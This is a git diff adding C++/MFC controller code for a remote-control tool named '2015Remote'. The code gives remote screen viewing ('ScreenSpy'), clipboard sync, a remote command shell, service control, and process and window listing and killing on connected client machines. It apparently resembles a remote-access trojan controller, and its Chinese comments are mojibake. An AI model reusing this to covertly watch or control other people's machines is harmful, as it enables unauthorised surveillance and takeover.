"λͼļ(*.bmp)|*.bmp|", this); + if(Dlg.DoModal () != IDOK) + return FALSE; + + BITMAPFILEHEADER BitMapFileHeader; + LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000 + CFile File; + if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) + { + + return FALSE; + } + + // BITMAPINFOС + //+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD); + //bmp fjkdfj dkfjkdfj [][][][] + int nbmiSize = sizeof(BITMAPINFO); + + //Э TCP Уֵ + BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B'); + BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421 + BitMapFileHeader.bfReserved1 = 0; //8000 + BitMapFileHeader.bfReserved2 = 0; + BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize; + + File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader)); + File.Write(BitMapInfor, nbmiSize); + + File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage); + File.Close(); + + return true; +} + + +VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength) +{ + if (!::OpenClipboard(NULL)) + return; + + ::EmptyClipboard(); + HGLOBAL hGlobal = GlobalAlloc(GPTR, ulLength); + if (hGlobal != NULL) { + + char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); + memcpy(szClipboardVirtualAddress,szBuffer,ulLength); + GlobalUnlock(hGlobal); + SetClipboardData(CF_TEXT, hGlobal); + GlobalFree(hGlobal); + } + CloseClipboard(); +} + +VOID CScreenSpyDlg::SendServerClipboard(void) +{ + if (!::OpenClipboard(NULL)) //򿪼а豸 + return; + HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //һڴ + if (hGlobal == NULL) + { + ::CloseClipboard(); + return; + } + int iPacketLength = GlobalSize(hGlobal) + 1; + char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); // + LPBYTE szBuffer = new BYTE[iPacketLength]; + + szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD; + memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); + ::GlobalUnlock(hGlobal); + ::CloseClipboard(); + m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength); + delete[] szBuffer; +} diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h new file mode 100644 index 0000000..f7c86f7 --- /dev/null +++ b/server/2015Remote/ScreenSpyDlg.h @@ -0,0 +1,61 @@ +#pragma once +#include "IOCPServer.h" + +// CScreenSpyDlg Ի + +class CScreenSpyDlg : public CDialog +{ + DECLARE_DYNAMIC(CScreenSpyDlg) + +public: + //CScreenSpyDlg(CWnd* pParent = NULL); // ׼캯 + CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); + virtual ~CScreenSpyDlg(); + + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + + VOID CScreenSpyDlg::SendNext(void); + VOID CScreenSpyDlg::OnReceiveComplete(); + HDC m_hFullDC; + HDC m_hFullMemDC; + HBITMAP m_BitmapHandle; + PVOID m_BitmapData_Full; + LPBITMAPINFO m_BitmapInfor_Full; + VOID CScreenSpyDlg::DrawFirstScreen(void); + VOID CScreenSpyDlg::DrawNextScreenDiff(void); + BOOL m_bIsFirst; + ULONG m_ulHScrollPos; + ULONG m_ulVScrollPos; + VOID CScreenSpyDlg::DrawTipString(CString strString); + + HICON m_hIcon; + HICON m_hCursor; + POINT m_ClientCursorPos; + CString m_strClientIP; + BOOL m_bIsTraceCursor; + VOID CScreenSpyDlg::SendCommand(MSG* Msg); + + VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength); + VOID CScreenSpyDlg::SendServerClipboard(void); + + BOOL m_bIsCtrl; + LPBYTE m_szData; + BOOL m_bSend; + ULONG m_ulMsgCount; + + BOOL CScreenSpyDlg::SaveSnapshot(void); + // Ի + enum { IDD = IDD_DIALOG_SCREEN_SPY }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); + afx_msg void OnPaint(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + virtual BOOL PreTranslateMessage(MSG* pMsg); +}; diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp new file mode 100644 index 0000000..a230216 --- /dev/null +++ b/server/2015Remote/ServicesDlg.cpp @@ -0,0 +1,196 @@ +// ServicesDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "ServicesDlg.h" +#include "afxdialogex.h" + + +// CServicesDlg Ի + +IMPLEMENT_DYNAMIC(CServicesDlg, CDialog) + + +CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + : CDialog(CServicesDlg::IDD, pParent) +{ + m_ContextObject = ContextObject; + m_iocpServer = IOCPServer; +} + +CServicesDlg::~CServicesDlg() +{ +} + +void CServicesDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST, m_ControlList); + DDX_Control(pDX, IDC_STATIC_COUNT, m_ServicesCount); +} + + +BEGIN_MESSAGE_MAP(CServicesDlg, CDialog) + ON_WM_CLOSE() + ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto) + ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual) + ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop) + ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart) + ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash) + ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList) +END_MESSAGE_MAP() + + +// CServicesDlg Ϣ + + +BOOL CServicesDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString strString; + sockaddr_in ClientAddress; + memset(&ClientAddress, 0, sizeof(ClientAddress)); + int iClientAddressLength = sizeof(ClientAddress); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); + strString.Format("%s - ", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); + SetWindowText(strString); + + m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT); + m_ControlList.InsertColumn(0, "ʵ", LVCFMT_LEFT, 150); + m_ControlList.InsertColumn(1, "ʾ", LVCFMT_LEFT, 260); + m_ControlList.InsertColumn(2, "", LVCFMT_LEFT, 80); + m_ControlList.InsertColumn(3, "״̬", LVCFMT_LEFT, 80); + m_ControlList.InsertColumn(4, "ִļ·", LVCFMT_LEFT, 380); + + ShowServicesList(); + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + +int CServicesDlg::ShowServicesList(void) +{ + char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); + char *szDisplayName; + char *szServiceName; + char *szRunWay; + char *szAutoRun; + char *szFilePath; + DWORD dwOffset = 0; + m_ControlList.DeleteAllItems(); + + int i = 0; + for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) + { + szDisplayName = szBuffer + dwOffset; + szServiceName = szDisplayName + lstrlen(szDisplayName) +1; + szFilePath= szServiceName + lstrlen(szServiceName) +1; + szRunWay = szFilePath + lstrlen(szFilePath) + 1; + szAutoRun = szRunWay + lstrlen(szRunWay) + 1; + + m_ControlList.InsertItem(i, szServiceName); + m_ControlList.SetItemText(i, 1, szDisplayName); + m_ControlList.SetItemText(i, 2, szAutoRun); + m_ControlList.SetItemText(i, 3, szRunWay); + m_ControlList.SetItemText(i, 4, szFilePath ); + + dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay) + + lstrlen(szAutoRun) +5; + } + + CString strTemp; + strTemp.Format(":%d",i); + + m_ServicesCount.SetWindowText(strTemp); + + return 0; +} + +void CServicesDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + CDialog::OnClose(); + delete this; +} + + +void CServicesDlg::OnServicesAuto() +{ + ServicesConfig(3); +} + + +void CServicesDlg::OnServicesManual() +{ + ServicesConfig(4); +} + + +void CServicesDlg::OnServicesStop() +{ + ServicesConfig(2); +} + + +void CServicesDlg::OnServicesStart() +{ + ServicesConfig(1); +} + + +void CServicesDlg::OnServicesReflash() +{ + BYTE bToken = COMMAND_SERVICELIST; //ˢ + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); +} + + +void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + + CMenu Menu; + Menu.LoadMenu(IDR_MENU_SERVICES); + CMenu *SubMenu=Menu.GetSubMenu(0); + CPoint Point; + GetCursorPos(&Point); + SubMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON,Point.x,Point.y,this); + *pResult = 0; +} + + +void CServicesDlg::OnReceiveComplete(void) +{ + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + case TOKEN_SERVERLIST: + ShowServicesList(); + break; + default: + // ䷢쳣 + break; + } +} + +void CServicesDlg::ServicesConfig(BYTE bCmd) +{ + DWORD dwOffset = 2; + POSITION Pos = m_ControlList.GetFirstSelectedItemPosition(); + int iItem = m_ControlList.GetNextSelectedItem(Pos); + + CString strServicesName = m_ControlList.GetItemText(iItem, 0 ); + char* szServiceName = strServicesName.GetBuffer(0); + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(szServiceName)); //[][][]\0 + szBuffer[0] = COMMAND_SERVICECONFIG; + szBuffer[1] = bCmd; + + + memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1); + + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); +} diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h new file mode 100644 index 0000000..064e444 --- /dev/null +++ b/server/2015Remote/ServicesDlg.h @@ -0,0 +1,38 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" +#include "afxwin.h" + +// CServicesDlg Ի + +class CServicesDlg : public CDialog +{ + DECLARE_DYNAMIC(CServicesDlg) + +public: + CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + virtual ~CServicesDlg(); + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + int CServicesDlg::ShowServicesList(void); + void CServicesDlg::OnReceiveComplete(void); + void CServicesDlg::ServicesConfig(BYTE bCmd); +// Ի + enum { IDD = IDD_DIALOG_SERVICES }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CListCtrl m_ControlList; + virtual BOOL OnInitDialog(); + CStatic m_ServicesCount; + afx_msg void OnClose(); + afx_msg void OnServicesAuto(); + afx_msg void OnServicesManual(); + afx_msg void OnServicesStop(); + afx_msg void OnServicesStart(); + afx_msg void OnServicesReflash(); + afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult); +}; diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp new file mode 100644 index 0000000..b61d9bf --- /dev/null +++ b/server/2015Remote/SettingDlg.cpp @@ -0,0 +1,111 @@ +// SettingDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "SettingDlg.h" +#include "afxdialogex.h" + + +// CSettingDlg Ի + +IMPLEMENT_DYNAMIC(CSettingDlg, CDialog) + +CSettingDlg::CSettingDlg(CWnd* pParent) + : CDialog(CSettingDlg::IDD, pParent) + , m_nListenPort(0) + , m_nMax_Connect(0) +{ +} + +CSettingDlg::~CSettingDlg() +{ +} + +void CSettingDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort); + DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect); + DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton); +} + +BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) + ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply) + ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort) + ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax) + ON_BN_CLICKED(IDC_BUTTON_MSG, &CSettingDlg::OnBnClickedButtonMsg) +END_MESSAGE_MAP() + + +// CSettingDlg Ϣ + + +BOOL CSettingDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "ListenPort"); + //ȡini ļеļ˿ + int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + + m_nListenPort = nPort; + m_nMax_Connect = nMaxConnection; + + UpdateData(FALSE); + + return TRUE; +} + + +void CSettingDlg::OnBnClickedButtonSettingapply() +{ + // TODO: ڴӿؼ֪ͨ + //MessageBox("1"); + UpdateData(TRUE); + ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "ListenPort", m_nListenPort); + //iniļдֵ + ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect); + + m_ApplyButton.EnableWindow(FALSE); + m_ApplyButton.ShowWindow(SW_HIDE); +} + + +void CSettingDlg::OnEnChangeEditPort() +{ + // TODO: ÿؼ RICHEDIT ؼ + // ʹ֪ͨд CDialog::OnInitDialog() + // CRichEditCtrl().SetEventMask() + // ͬʱ ENM_CHANGE ־㵽С + + // TODO: ڴӿؼ֪ͨ + + // Buttonӱ + m_ApplyButton.ShowWindow(SW_NORMAL); + m_ApplyButton.EnableWindow(TRUE); +} + +void CSettingDlg::OnEnChangeEditMax() +{ + // TODO: ÿؼ RICHEDIT ؼ + // ʹ֪ͨд CDialog::OnInitDialog() + // CRichEditCtrl().SetEventMask() + // ͬʱ ENM_CHANGE ־㵽С + + // TODO: ڴӿؼ֪ͨ + HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY); + + ::ShowWindow(hApplyButton,SW_NORMAL); + ::EnableWindow(hApplyButton,TRUE); +} + + +void CSettingDlg::OnBnClickedButtonMsg() +{ + // TODO: ڴӿؼ֪ͨ + HWND hFather = NULL; + + hFather = ::FindWindow(NULL,"2015Remote"); + ::SendMessage(hFather,WM_CLOSE,NULL,NULL); +} diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h new file mode 100644 index 0000000..5f7363a --- /dev/null +++ b/server/2015Remote/SettingDlg.h @@ -0,0 +1,31 @@ +#pragma once +#include "afxwin.h" + + +// CSettingDlg Ի + +class CSettingDlg : public CDialog +{ + DECLARE_DYNAMIC(CSettingDlg) + +public: + CSettingDlg(CWnd* pParent = NULL); // ׼캯 + virtual ~CSettingDlg(); + + // Ի + enum { IDD = IDD_DIALOG_SET }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + UINT m_nListenPort; + UINT m_nMax_Connect; + virtual BOOL OnInitDialog(); + afx_msg void OnBnClickedButtonSettingapply(); + afx_msg void OnEnChangeEditPort(); + afx_msg void OnEnChangeEditMax(); + CButton m_ApplyButton; + afx_msg void OnBnClickedButtonMsg(); +}; diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp new file mode 100644 index 0000000..4ebd926 --- /dev/null +++ b/server/2015Remote/ShellDlg.cpp @@ -0,0 +1,177 @@ +// ShellDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "ShellDlg.h" +#include "afxdialogex.h" + + +// CShellDlg Ի + +IMPLEMENT_DYNAMIC(CShellDlg, CDialog) + +CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + : CDialog(CShellDlg::IDD, pParent) +{ + m_iocpServer = IOCPServer; + m_ContextObject = ContextObject; + + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_SHELL)); +} + +CShellDlg::~CShellDlg() +{ +} + +void CShellDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT, m_Edit); +} + + +BEGIN_MESSAGE_MAP(CShellDlg, CDialog) + ON_WM_CLOSE() + ON_WM_CTLCOLOR() +END_MESSAGE_MAP() + + +// CShellDlg Ϣ + + +BOOL CShellDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + m_nCurSel = 0; + m_nReceiveLength = 0; + SetIcon(m_hIcon,FALSE); + + CString str; + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int ClientAddrLen = sizeof(ClientAddr); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen); + + str.Format("%s - Զն", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + SetWindowText(str); + + BYTE bToken = COMMAND_NEXT; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + + +VOID CShellDlg::OnReceiveComplete() +{ + if (m_ContextObject==NULL) + { + return; + } + + AddKeyBoardData(); + m_nReceiveLength = m_Edit.GetWindowTextLength(); +} + + +VOID CShellDlg::AddKeyBoardData(void) +{ + // 0 + + //Hello>dir + //Shit\0 + m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //ӱƶҪһ\0 + CString strResult = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0); //е \0 + + //滻ԭĻз cmd Ļͬw32µı༭ؼĻзһ еĻس + strResult.Replace("\n", "\r\n"); + + //õǰڵַ + int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir + //hello + //1.txt + //2.txt + //dir\r\n + + //궨λλòѡַָ Ҳĩβ Ϊӱض Ҫʾ ǵ ǰݵĺ + m_Edit.SetSel(iLength, iLength); + + //ôݹ滻λõַ //ʾ + m_Edit.ReplaceSel(strResult); + + //µõַĴС + + m_nCurSel = m_Edit.GetWindowTextLength(); //Hello + + //ע⵽ʹԶնʱ ͵ÿһ һз һس + //ҪҵسĴǾҪPreTranslateMessageĶ +} + +void CShellDlg::OnClose() +{ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + + CDialog::OnClose(); + delete this; +} + + +BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_KEYDOWN) + { + // VK_ESCAPEVK_DELETE + if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE) + return true; + //ǿɱ༭Ļس + if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) + { + //õڵݴС + int iLength = m_Edit.GetWindowTextLength(); //Hello>dir 3 + CString str; + //õڵַ + m_Edit.GetWindowText(str);//dir\r\n + //뻻з + str += "\r\n"; + //õĻ׵ַټԭеַλãʵûǰ + //Ȼݷͳȥ + m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel); + m_nCurSel = m_Edit.GetWindowTextLength(); //¶λm_nCurSel m_nCurSel = 3 + } + // VK_BACK + if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) + { + if (m_Edit.GetWindowTextLength() <= m_nReceiveLength) + return true; + } + //dir\r\n 5 + //hello\r\n 7 + // + } + + return CDialog::PreTranslateMessage(pMsg); +} + + +HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) +{ + HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor); + + if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) + { + COLORREF clr = RGB(255, 255, 255); + pDC->SetTextColor(clr); //ðɫı + clr = RGB(0,0,0); + pDC->SetBkColor(clr); //úɫı + return CreateSolidBrush(clr); //ΪԼرɫӦˢӾ + } + else + { + return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); + } + return hbr; +} diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h new file mode 100644 index 0000000..a9dbcef --- /dev/null +++ b/server/2015Remote/ShellDlg.h @@ -0,0 +1,35 @@ +#pragma once +#include "IOCPServer.h" +#include "afxwin.h" + +// CShellDlg Ի + +class CShellDlg : public CDialog +{ + DECLARE_DYNAMIC(CShellDlg) + +public: + CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); + virtual ~CShellDlg(); + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + VOID CShellDlg::OnReceiveComplete(); + HICON m_hIcon; + UINT m_nReceiveLength; + VOID CShellDlg::AddKeyBoardData(void); + UINT m_nCurSel; //õǰλ; + +// Ի + enum { IDD = IDD_DIALOG_SHELL }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); + CEdit m_Edit; + virtual BOOL PreTranslateMessage(MSG* pMsg); + afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor); +}; diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp new file mode 100644 index 0000000..177b50a --- /dev/null +++ b/server/2015Remote/SystemDlg.cpp @@ -0,0 +1,390 @@ +// SystemDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "SystemDlg.h" +#include "afxdialogex.h" + + +// CSystemDlg Ի + +enum +{ + COMMAND_WINDOW_CLOSE, //رմ + COMMAND_WINDOW_TEST, // +}; +IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) + + CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + : CDialog(CSystemDlg::IDD, pParent) +{ + m_ContextObject = ContextObject; + m_iocpServer = IOCPServer; + + char *lpBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(0)); //ض˴ص + m_bHow=lpBuffer[0]; +} + +CSystemDlg::~CSystemDlg() +{ +} + +void CSystemDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST_SYSTEM, m_ControlList); +} + + +BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) + ON_WM_CLOSE() + ON_NOTIFY(NM_RCLICK, IDC_LIST_SYSTEM, &CSystemDlg::OnNMRClickListSystem) + ON_COMMAND(ID_PLIST_KILL, &CSystemDlg::OnPlistKill) + ON_COMMAND(ID_PLIST_REFRESH, &CSystemDlg::OnPlistRefresh) + ON_COMMAND(ID_WLIST_REFRESH, &CSystemDlg::OnWlistRefresh) + ON_COMMAND(ID_WLIST_CLOSE, &CSystemDlg::OnWlistClose) + ON_COMMAND(ID_WLIST_HIDE, &CSystemDlg::OnWlistHide) + ON_COMMAND(ID_WLIST_RECOVER, &CSystemDlg::OnWlistRecover) + ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax) + ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin) +END_MESSAGE_MAP() + + +// CSystemDlg Ϣ + + +BOOL CSystemDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString str; + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int iSockAddrLength = sizeof(ClientAddr); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); //õӵip + str.Format("%s - ̹", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + SetWindowText(str);//öԻ + + m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); + if (m_bHow==TOKEN_PSLIST) //̹ʼб + { + m_ControlList.InsertColumn(0, "ӳ", LVCFMT_LEFT, 120); + m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 50); + m_ControlList.InsertColumn(2, "·", LVCFMT_LEFT, 200); + ShowProcessList(); //ڵһϢŽ̵԰ʾб\0\0 + }else if (m_bHow==TOKEN_WSLIST)//ڹʼб + { + //ʼ ڹб + m_ControlList.InsertColumn(0, "PID", LVCFMT_LEFT, 50); + m_ControlList.InsertColumn(1, "", LVCFMT_LEFT, 300); + m_ControlList.InsertColumn(2, "״̬", LVCFMT_LEFT, 300); + ShowWindowsList(); + } + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + +void CSystemDlg::ShowWindowsList(void) +{ + char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + char *szTitle = NULL; + bool isDel=false; + + m_ControlList.DeleteAllItems(); + CString str; + int i ; + for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; i++) + { + LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //ھ + szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //ڱ + str.Format("%5u", *lpPID); + m_ControlList.InsertItem(i, str); + m_ControlList.SetItemText(i, 1, szTitle); + m_ControlList.SetItemText(i, 2, "ʾ"); //(d) ״̬ʾΪ "ʾ" + // ItemData Ϊھ + m_ControlList.SetItemData(i, *lpPID); //(d) + dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1; + } + str.Format(" ڸ%d", i); //޸CtrlList + LVCOLUMN lvc; + lvc.mask = LVCF_TEXT; + lvc.pszText = str.GetBuffer(0); + lvc.cchTextMax = str.GetLength(); + m_ControlList.SetColumn(1, &lvc); +} + +void CSystemDlg::ShowProcessList(void) +{ + char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); //xiaoxi[][][][][] + char *szExeFile; + char *szProcessFullPath; + DWORD dwOffset = 0; + CString str; + m_ControlList.DeleteAllItems(); + //ÿһַݽṹ Id++0++0 + int i; + for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) + { + LPDWORD PID = LPDWORD(szBuffer + dwOffset); //õID + szExeFile = szBuffer + dwOffset + sizeof(DWORD); //ID֮ + szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //ǽ֮ + //ݽṹĹ + + m_ControlList.InsertItem(i, szExeFile); //õݼ뵽б + str.Format("%5u", *PID); + m_ControlList.SetItemText(i, 1, str); + m_ControlList.SetItemText(i, 2, szProcessFullPath); + // ItemData ΪID + m_ControlList.SetItemData(i, *PID); + + dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //ݽṹ һѭ + } + + str.Format(" / %d", i); + LVCOLUMN lvc; + lvc.mask = LVCF_TEXT; + lvc.pszText = str.GetBuffer(0); + lvc.cchTextMax = str.GetLength(); + m_ControlList.SetColumn(2, &lvc); //бʾжٸ +} + + +void CSystemDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + CDialog::OnClose(); + delete this; +} + + +void CSystemDlg::OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + CMenu Menu; + if (m_bHow==TOKEN_PSLIST) //̹ʼб + { + Menu.LoadMenu(IDR_PROCESS_LIST); + }else if (m_bHow==TOKEN_WSLIST) + { + Menu.LoadMenu(IDR_WINDOW_LIST); + } + CMenu* SubMenu = Menu.GetSubMenu(0); + CPoint Point; + GetCursorPos(&Point); + SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); + + *pResult = 0; +} + +void CSystemDlg::OnPlistKill() +{ + CListCtrl *ListCtrl = NULL; + if (m_ControlList.IsWindowVisible()) + ListCtrl = &m_ControlList; + else + return; + + //[KILL][ID][ID][iD][ID] + //仺 + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (ListCtrl->GetSelectedCount() * 4));//1.exe 4 ID Handle + //̵ͷ + szBuffer[0] = COMMAND_KILLPROCESS; + //ʾϢ + char *szTips = ": ֹ̻ᵼ²ϣĽ\n" + "ݶʧϵͳȶڱֹǰ\n" + "̽ûлᱣ״̬ݡ"; + CString str; + if 